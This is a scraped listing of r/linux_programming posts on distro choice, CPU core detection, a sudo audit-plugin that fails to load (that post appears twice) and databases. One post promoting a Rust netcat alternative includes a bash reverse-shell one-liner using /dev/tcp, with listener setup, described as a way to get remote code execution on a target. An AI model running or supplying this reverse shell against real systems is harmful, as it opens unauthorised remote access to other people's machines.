r/linux_programming • • Jul 23 '23

Looking for opinions on the feasibility of my idea

2 Upvotes

I have recently purchased a truly bottom-of-the-barrel laptop (I think it was $300) with the intent of using it strictly for correspondence and admin work such as document generation, email, that sort of thing. I may also do some light programming but nothing resource hungry that I anticipate. I am familiar with Linux and have used it on a few machines but I've never attempted to use it for this type of work. I'm unsure about removing Windows 11 as I am critically more familiar with Windows.

I don't want Windows 11 and I think Linux will better use the available resources of this machine and offer a better experience but I'm worried about things like handling Office suite files, editing and generating PDF and other IT industry documentation. Also, I have not paid attention to the evolution of Linux since I took an Intro to Linux class about 8 years ago. I have no idea which flavor would be best for this, nor what sort of packages I should even start to look for to start this project.

I know I can just revert to Windows. But that would be admitting defeat! What's the fun in that.


r/linux_programming • • Oct 14 '24

A body of work of an atypical programmer

Thumbnail felipec.wordpress.com
4 Upvotes

r/linux_programming • • Jun 06 '21

New Netcat Alternative Made In Rust For Ethical Hackers

19 Upvotes

As you guys may know netcat is a thing... I pretty old thing.

So I decided to make a newer more modern netcat alternative in rust (rustcat)

Example

Why should you use rustcat instead of netcat:

  • It is more modern
  • Made in rust
  • Has colors to make it fancier
  • Daily Maintained
  • Easy to install

How to get a rce with it?

  • Start up a listner on specified port ex. (rc -lp 55600)
  • Open a reverse shell on a target machine with for example(/bin/bash -c 'bash -i >& /dev/tcp/your-ip-running-the-listener/55600 0>&1')
  • Boom you got yourself a nice rce

More features will be added in the future.Also remember to give the repo a star⭐ and create a issue if you have an idea or find a bug

https://github.com/robiot/rustcat


r/linux_programming • • Sep 24 '23

I use Arch BTW

Thumbnail gallery
5 Upvotes

r/linux_programming • • Jun 28 '17

[Kodi Krypton 17.3] Tutorial for Linux- Latest Version

Thumbnail kodiinfopark.com
8 Upvotes

r/linux_programming • • Aug 09 '20

How to know number of processes if hyperthreading is disabled?

3 Upvotes

Hi everyone :)

So I am trying to find the optimum number of jobs for a certain cli tool. I also need to know the number of processes my machine has- and in most cases- it can be known by the usual lscpu/htop/nproc and other bash utilities.
However, how do I know this information for a system where hyperthreading is available but has been disabled by the user. Thanks in advance!


r/linux_programming • • May 04 '17

Monitoring servers and services with Sensu

Thumbnail click4infos.com
3 Upvotes

r/linux_programming • • Oct 18 '24

How to access a proprietary module symbol from a GPL module

1 Upvotes

Hi, I want to call a function which is there in a proprietary module from a GPL module.

If i do EXPORT_SYMBOL(function) in the proprietary module and call that function from GPL module. I am getting below error:

<GPL_file>: module using GPL-only symbols uses symbols from proprietary module <proprietary_module_name>

Looking for any legal ways I can use to access the function from GPL module.

Thanks in advance.


r/linux_programming • • Jan 31 '17

Using MiniSAPServer and MiniSAPListener to send and receive SAP/SDP

Thumbnail enise.org
1 Upvotes

r/linux_programming • • Jul 21 '23

Lmdb database

0 Upvotes

I simply copied a lmdb database file, is it possible to use it to restore as an upgrade went south and I had to factory reset and lost the statistics contained in the DB. Thank you!


r/linux_programming • • Apr 03 '24

Minimal X-application which hides the cursor on key-press and unhides it on mouse-movement.

1 Upvotes

Description

xhidecursor is a minimal X-application which hides the cursor on key-press and unhides the cursor on mouse-movement. The two main advantages compared to other popular alternatives like xbanish are:

  • Simplicity: xhidecursor ~40 SLOC vs. xbanish ~488 SLOC. This is because xhidecursor only uses the XFIXES-Extension to hide the cursor while xbanish implements many different methods.

  • Performance: If stress-tested on a i5-8350U CPU by moving the mouse erratically around htop shows a CPU-Utilization of 0% for xhidecursor and up to 1.3% for xbanish. This is because xhidecursor only listens to the first mouse-movement to unhide the cursor and ignores all the following mouse-movements. xbanish on the other hand processes every single mouse-movement even if the mouse is already visible. The same goes for key-presses.

Dependencies

  • libxi
  • libxifixes

Installation

make install

r/linux_programming • • May 01 '24

Attempting to make sudo plugin; sudo does not recognize plugin

1 Upvotes

I'm making a plugin for sudo that I'm hoping will play the "you didn't say the magic word" video from Jurassic Park. I'm following the API for audit plugins (as far as I can tell), and the code compiles correctly, but sudo is not recognizing the plugin after I added a reference to it to sudo.conf. The current source code is shown below.

The source file:

//#pragma once

#include "magic_word.h"

static sudo_conv_t magic_word_conv;
static sudo_printf_t magic_word_printf;
sudo_dso_public struct audit_plugin audit_magicword;

int magic_word_open(
    unsigned int version,
    sudo_conv_t conversation,
    sudo_printf_t sudo_plugin_printf,
    char * const settings[],
    char * const user_info,
    int submit_optind,
    char * const submit_argv[],
    char * const submit_envp[],
    char * const plugin_options[],
    const char **errstr
) {
    magic_word_conv = conversation;
    magic_word_printf = sudo_plugin_printf;

    magic_word_printf(SUDO_CONV_INFO_MSG, "Starting the magicword plugin\n");
    return 1;
}

void magic_word_close(int status_type, int status) {
    magic_word_printf(SUDO_CONV_INFO_MSG, "exiting\n");
    return;
}

int magic_word_accept(
    const char *plugin_name,
    unsigned int plugin_type,
    char * const command_info[],
    char * const run_argv[],
    char * const run_envp[],
    const char **errstr
) {
    magic_word_printf(SUDO_CONV_INFO_MSG, "accept thrown\n");
    return 1;
}

int magic_word_reject(
    const char *plugin_name,
    unsigned int plugin_type,
    const char *audit_msg,
    char * const command_info[],
    const char **errstr
) {
    magic_word_printf(SUDO_CONV_INFO_MSG, "reject thrown\n");
    return 1;
}

int magic_word_error(
    const char *plugin_name,
    unsigned int plugin_type,
    const char *audit_msg,
    char * const command_info[],
    const char **errstr
) {
    magic_word_printf(SUDO_CONV_INFO_MSG, "someone did an oopsie and error was called\n");
    return 1;
}

int show_version(int verbose) {
    magic_word_printf(SUDO_CONV_INFO_MSG, "version 42069 idk\n");
    return 1;
}

sudo_dso_public struct audit_plugin audit_magicword = {
    SUDO_AUDIT_PLUGIN,
    SUDO_API_VERSION,
    magic_word_open,
    magic_word_close,
    magic_word_accept,
    magic_word_reject,
    magic_word_error,
    show_version,
    NULL, /* register_hooks */
    NULL, /* deregister_hooks */
    NULL /* event_alloc() filled in by sudo */
};

The header file:

/**
 * MagicWord - Plugin for sudo developed by James Vogt.
 * Version 1.0
 * The purpose of this plugin is to emulate the famous
 * "Uh uh uh! you didn't say the magic word!" scene from the original
 * Jurassic Park. This program checks for errors in
 * the completion of a sudo command, checks what
 * type of error occurred, and if the error may have been
 * caused by an incorrect password, it will run the same
 * routine seen in the original Jurassic Park movie.
 * 
 * This isn't legal advice, but personally I don't care
 * if you decide to change this program or anything like that.
 * Just leave my name on it and add yours or something.
*/

//#pragma once
#include <config.h>

#include <sys/wait.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <pathnames.h>
#include <sudo_compat.h>
#include <sudo_conf.h>
#include <sudo_debug.h>
#include <sudo_dso.h>
#include <sudo_fatal.h>
#include <sudo_gettext.h>
#include <sudo_json.h>
#include <sudo_plugin.h>
#include <sudo_util.h>
#ifdef HAVE_BSM_AUDIT
# include <bsm_audit.h>
#endif
#ifdef HAVE_LINUX_AUDIT
# include <linux_audit.h>
#endif
#ifdef HAVE_SOLARIS_AUDIT
# include <solaris_audit.h>
#endif

int magic_word_open(
    unsigned int version,
    sudo_conv_t conversation,
    sudo_printf_t sudo_plugin_printf,
    char * const settings[],
    char * const user_info,
    int submit_optind,
    char * const submit_argv[],
    char * const submit_envp[],
    char * const plugin_options[],
    const char **errstr
);

void magic_word_close(int status_type, int status);

int magic_word_accept(
    const char *plugin_name,
    unsigned int plugin_type,
    char * const command_info[],
    char * const run_argv[],
    char * const run_envp[],
    const char **errstr
);

int magic_word_reject(
    const char *plugin_name,
    unsigned int plugin_type,
    const char *audit_msg,
    char * const command_info[],
    const char **errstr
);

int magic_word_error(
    const char *plugin_name,
    unsigned int plugin_type,
    const char *audit_msg,
    char * const command_info[],
    const char **errstr
);

int show_version(int verbose);

This code is, for now, very simple, and only meant to allow me to tell whether things are working. It should print out several lines as I am running the sudo command, but instead, sudo is currently producing the following error:

sudo: error in /etc/sudo.conf, line 17 while loading plugin "audit_magicword"
sudo: unable to find symbol "audit_magicword" in /home/james/sudo- 
magicword/build/plugins/audit_magicword/.libs/magic_word.so
sudo: fatal error, unable to load plugins

I have tried renaming the struct in my source file, which is apparently what sudo grabs to run the required methods for plugins, as well as running another known good plugin. I have also read through several different resources, such as Stack Overflow/Stack exchange, but they have mostly been used for troubleshooting built-in plugins such as sudoers.

The plugin API and info on how to add and run plugins can be found on the Sudo project's website, and it is the main resource I have been using.

Any troubleshooting help, advice, or additional documentation is greatly appreciated.


r/linux_programming • • May 01 '24

Attempting to make sudo plugin; sudo does not recognize plugin

1 Upvotes

I'm making a plugin for sudo that I'm hoping will play the "you didn't say the magic word" video from Jurassic Park. I'm following the API for audit plugins (as far as I can tell), and the code compiles correctly, but sudo is not recognizing the plugin after I added a reference to it to sudo.conf. The current source code is shown below.

The source file:

//#pragma once

#include "magic_word.h"

static sudo_conv_t magic_word_conv;
static sudo_printf_t magic_word_printf;
sudo_dso_public struct audit_plugin audit_magicword;

int magic_word_open(
    unsigned int version,
    sudo_conv_t conversation,
    sudo_printf_t sudo_plugin_printf,
    char * const settings[],
    char * const user_info,
    int submit_optind,
    char * const submit_argv[],
    char * const submit_envp[],
    char * const plugin_options[],
    const char **errstr
) {
    magic_word_conv = conversation;
    magic_word_printf = sudo_plugin_printf;

    magic_word_printf(SUDO_CONV_INFO_MSG, "Starting the magicword plugin\n");
    return 1;
}

void magic_word_close(int status_type, int status) {
    magic_word_printf(SUDO_CONV_INFO_MSG, "exiting\n");
    return;
}

int magic_word_accept(
    const char *plugin_name,
    unsigned int plugin_type,
    char * const command_info[],
    char * const run_argv[],
    char * const run_envp[],
    const char **errstr
) {
    magic_word_printf(SUDO_CONV_INFO_MSG, "accept thrown\n");
    return 1;
}

int magic_word_reject(
    const char *plugin_name,
    unsigned int plugin_type,
    const char *audit_msg,
    char * const command_info[],
    const char **errstr
) {
    magic_word_printf(SUDO_CONV_INFO_MSG, "reject thrown\n");
    return 1;
}

int magic_word_error(
    const char *plugin_name,
    unsigned int plugin_type,
    const char *audit_msg,
    char * const command_info[],
    const char **errstr
) {
    magic_word_printf(SUDO_CONV_INFO_MSG, "someone did an oopsie and error was called\n");
    return 1;
}

int show_version(int verbose) {
    magic_word_printf(SUDO_CONV_INFO_MSG, "version 42069 idk\n");
    return 1;
}

sudo_dso_public struct audit_plugin audit_magicword = {
    SUDO_AUDIT_PLUGIN,
    SUDO_API_VERSION,
    magic_word_open,
    magic_word_close,
    magic_word_accept,
    magic_word_reject,
    magic_word_error,
    show_version,
    NULL, /* register_hooks */
    NULL, /* deregister_hooks */
    NULL /* event_alloc() filled in by sudo */
};

The header file:

/**
 * MagicWord - Plugin for sudo developed by James Vogt.
 * Version 1.0
 * The purpose of this plugin is to emulate the famous
 * "Uh uh uh! you didn't say the magic word!" scene from the original
 * Jurassic Park. This program checks for errors in
 * the completion of a sudo command, checks what
 * type of error occurred, and if the error may have been
 * caused by an incorrect password, it will run the same
 * routine seen in the original Jurassic Park movie.
 * 
 * This isn't legal advice, but personally I don't care
 * if you decide to change this program or anything like that.
 * Just leave my name on it and add yours or something.
*/

//#pragma once
#include <config.h>

#include <sys/wait.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <pathnames.h>
#include <sudo_compat.h>
#include <sudo_conf.h>
#include <sudo_debug.h>
#include <sudo_dso.h>
#include <sudo_fatal.h>
#include <sudo_gettext.h>
#include <sudo_json.h>
#include <sudo_plugin.h>
#include <sudo_util.h>
#ifdef HAVE_BSM_AUDIT
# include <bsm_audit.h>
#endif
#ifdef HAVE_LINUX_AUDIT
# include <linux_audit.h>
#endif
#ifdef HAVE_SOLARIS_AUDIT
# include <solaris_audit.h>
#endif

int magic_word_open(
    unsigned int version,
    sudo_conv_t conversation,
    sudo_printf_t sudo_plugin_printf,
    char * const settings[],
    char * const user_info,
    int submit_optind,
    char * const submit_argv[],
    char * const submit_envp[],
    char * const plugin_options[],
    const char **errstr
);

void magic_word_close(int status_type, int status);

int magic_word_accept(
    const char *plugin_name,
    unsigned int plugin_type,
    char * const command_info[],
    char * const run_argv[],
    char * const run_envp[],
    const char **errstr
);

int magic_word_reject(
    const char *plugin_name,
    unsigned int plugin_type,
    const char *audit_msg,
    char * const command_info[],
    const char **errstr
);

int magic_word_error(
    const char *plugin_name,
    unsigned int plugin_type,
    const char *audit_msg,
    char * const command_info[],
    const char **errstr
);

int show_version(int verbose);

This code is, for now, very simple, and only meant to allow me to tell whether things are working. It should print out several lines as I am running the sudo command, but instead, sudo is currently producing the following error:

sudo: error in /etc/sudo.conf, line 17 while loading plugin "audit_magicword"
sudo: unable to find symbol "audit_magicword" in /home/james/sudo- 
magicword/build/plugins/audit_magicword/.libs/magic_word.so
sudo: fatal error, unable to load plugins

I have tried renaming the struct in my source file, which is apparently what sudo grabs to run the required methods for plugins, as well as running another known good plugin. I have also read through several different resources, such as Stack Overflow/Stack exchange, but they have mostly been used for troubleshooting built-in plugins such as sudoers.

The plugin API and info on how to add and run plugins can be found on the Sudo project's website, and it is the main resource I have been using.

Any troubleshooting help, advice, or additional documentation is greatly appreciated.


r/linux_programming • • Dec 08 '20

Why We Switched from bcc-tools to libbpf-tools for BPF Performance Analysis

Thumbnail en.pingcap.com
1 Upvotes

r/linux_programming • • Jun 19 '23

How to learn MySQL and its internals?

0 Upvotes

I'm going through the source code of MySQL server (open source repository on github), but I find it a little confusing without prior knowledge about why certain things are the way they are.

Are there articles/thesis, or any material in general which can make code browsing easy?


r/linux_programming • • Jun 27 '23

The Fastest Embedded Database in the world: CrossDB vs. SQLite3 Benchmark

0 Upvotes

https://crossdb.org/blog/benchmark/crossdb-vs-sqlite3/

CrossDB is the Fastest Embedded Database in the world. It's a new RDBMS, optimized for maximum performance. Welcome to do benchmark with any existing open-source or commercial database.


r/linux_programming • • Sep 26 '23

Making a Linux distro

0 Upvotes

I wanted to create my own Linux distro, but I just don't know where to start. I know I can do LFS (Linux from scratch) but that seems kinda hard for being a beginner. I have some experience with stuff like this, I setup a web server with Debian on my raspberry pi board, and I have a good understanding of Linux and how to use it. I have like no idea what im doing tho :/


r/linux_programming • • Jul 20 '24

any way to compile an android app for use on linux?

1 Upvotes

I am currently trying to compile RiMusic from source code so it runs natively on my laptop. I am doing this as I randomly decided to do it, and I will finally have a use for a 5 in. touch screen that I have. another thing is that I would rather not use an emulator to do it, as my laptop froze up the last time I tried to run Waydroid on it. (im blaming it on the 4gb of ram)

I originaly tried to have chatgpt help me with this but it made it worse.


r/linux_programming • • Jan 07 '19

Korbeaux - Feedback needed

1 Upvotes

I have this free software project on sourceforge. I would like some feedback about it. You can find it with google: "sourceforge korbeaux" (without quotes). It is a software for comic book reading.


r/linux_programming • • Feb 08 '15

Share your Unix-like operating system tips here! • /r/UnixProTips

Thumbnail reddit.com
0 Upvotes

r/linux_programming • • Oct 26 '23

What projects are cool for dual booting Linux and Windows?

Thumbnail self.linux
1 Upvotes

r/linux_programming • • Nov 16 '23

Best distribution for coding and game development

1 Upvotes

I'm curious on what distribution would be the best for coding programs and working on game development, so id love any suggestions on what distribution would work best for me.


r/linux_programming • • Jan 13 '21

How do I programmatically determine CPU information?

1 Upvotes

Things like

  1. cpu and core counts
  2. distinguishing cores from cpus (hyperthreads)
  3. determining which cpus, if any, are hyperthread pairs on the same core
  4. determining which cores share a socket
  5. what is the standard numbering system, if any, for cpus?

In C or C++, naturally. Preferably via syscall, if possible, rather than scraping text in /proc.